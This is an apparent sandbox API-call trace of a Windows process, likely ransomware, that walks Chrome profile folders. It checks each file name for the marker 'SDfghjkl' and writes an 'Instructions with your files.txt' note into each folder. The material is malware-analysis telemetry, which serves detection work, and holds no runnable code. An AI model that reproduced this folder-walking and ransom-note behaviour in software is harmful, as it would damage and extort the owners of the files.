[0128.780] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.780] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\..") returned 88
[0128.780] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_0", cAlternateFileName="")) returned 1
[0128.780] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned 92
[0128.780] StrStrIW (lpFirst="data_0", lpSrch="SDfghjkl") returned 0x0
[0128.780] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_1", cAlternateFileName="")) returned 1
[0128.780] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned 92
[0128.781] StrStrIW (lpFirst="data_1", lpSrch="SDfghjkl") returned 0x0
[0128.781] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_2", cAlternateFileName="")) returned 1
[0128.781] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 92
[0128.781] StrStrIW (lpFirst="data_2", lpSrch="SDfghjkl") returned 0x0
[0128.781] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0e3de0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x402000, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_3", cAlternateFileName="")) returned 1
[0128.781] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned 92
[0128.781] StrStrIW (lpFirst="data_3", lpSrch="SDfghjkl") returned 0x0
[0128.781] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 1
[0128.781] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned 91
[0128.781] StrStrIW (lpFirst="index", lpSrch="SDfghjkl") returned 0x0
[0128.781] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x0, dwReserved1=0x0, cFileName="index", cAlternateFileName="")) returned 0
[0128.781] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\Instructions with your files.txt") returned 118
[0128.781] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0128.783] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0128.784] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0128.784] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0128.784] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0128.784] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0128.784] CloseHandle (hObject=0x124) returned 1
[0128.784] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0128.785] GetProcessHeap () returned 0x810000
[0128.785] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ccc20 | out: hHeap=0x810000) returned 1
[0128.785] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d406e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d406e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x98d1e730, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
[0128.786] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned 87
[0128.786] StrStrIW (lpFirst="Cookies", lpSrch="SDfghjkl") returned 0x0
[0128.786] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80d66840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80d66840, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x98d44890, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cookies-journal", cAlternateFileName="COOKIE~1")) returned 1
[0128.786] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies-journal") returned 95
[0128.786] StrStrIW (lpFirst="Cookies-journal", lpSrch="SDfghjkl") returned 0x0
[0128.786] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83b08a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83b08a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0b57b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Session", cAlternateFileName="CURREN~1")) returned 1
[0128.786] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session") returned 95
[0128.786] StrStrIW (lpFirst="Current Session", lpSrch="SDfghjkl") returned 0x0
[0128.786] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c3b6860, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c3b6860, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c3b8f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="Current Tabs", cAlternateFileName="CURREN~2")) returned 1
[0128.786] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Tabs") returned 92
[0128.786] StrStrIW (lpFirst="Current Tabs", lpSrch="SDfghjkl") returned 0x0
[0128.786] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="data_reduction_proxy_leveldb", cAlternateFileName="DATA_R~1")) returned 1
[0128.786] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned 108
[0128.786] GetProcessHeap () returned 0x810000
[0128.786] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ccc20
[0128.786] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*") returned 110
[0128.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0128.788] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\.") returned 110
[0128.788] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.788] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\..") returned 111
[0128.788] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80916060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x80916060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x80916060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1
[0128.788] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\000003.log") returned 119
[0128.788] StrStrIW (lpFirst="000003.log", lpSrch="SDfghjkl") returned 0x0
[0128.788] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x804795c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENT", cAlternateFileName="")) returned 1
[0128.788] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\CURRENT") returned 116
[0128.788] StrStrIW (lpFirst="CURRENT", lpSrch="SDfghjkl") returned 0x0
[0128.788] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x802d66a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCK", cAlternateFileName="")) returned 1
[0128.788] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOCK") returned 113
[0128.789] StrStrIW (lpFirst="LOCK", lpSrch="SDfghjkl") returned 0x0
[0128.789] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9ab9e110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOG", cAlternateFileName="")) returned 1
[0128.789] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\LOG") returned 112
[0128.789] StrStrIW (lpFirst="LOG", lpSrch="SDfghjkl") returned 0x0
[0128.789] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x802d66a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 1
[0128.789] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\MANIFEST-000001") returned 124
[0128.789] StrStrIW (lpFirst="MANIFEST-000001", lpSrch="SDfghjkl") returned 0x0
[0128.789] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x802d66a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x802d66a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x802d66a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29, dwReserved0=0x0, dwReserved1=0x0, cFileName="MANIFEST-000001", cAlternateFileName="MANIFE~1")) returned 0
[0128.789] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\Instructions with your files.txt") returned 141
[0128.789] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\data_reduction_proxy_leveldb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0128.789] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0128.790] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0128.790] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0128.790] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0128.790] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0128.790] CloseHandle (hObject=0x124) returned 1
[0128.791] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0128.791] GetProcessHeap () returned 0x810000
[0128.791] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ccc20 | out: hHeap=0x810000) returned 1
[0128.792] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Extension Rules", cAlternateFileName="EXTENS~3")) returned 1
[0128.792] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned 95
[0128.792] GetProcessHeap () returned 0x810000
[0128.792] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ccc20
[0128.792] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*") returned 97
[0128.792] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0128.794] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\.") returned 97
[0128.794] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ad9940, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82bed750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.794] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\..") returned 98
[0128.795] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82bed750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82bed750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8dae37f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x156, dwReserved0=0x0, dwReserved1=0x0, cFileName="000003.log", cAlternateFileName="")) returned 1
[0128.795] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\000003.log") returned 106
[0128.795] StrStrIW (lpFirst="000003.log", lpSrch="SDfghjkl") returned 0x0
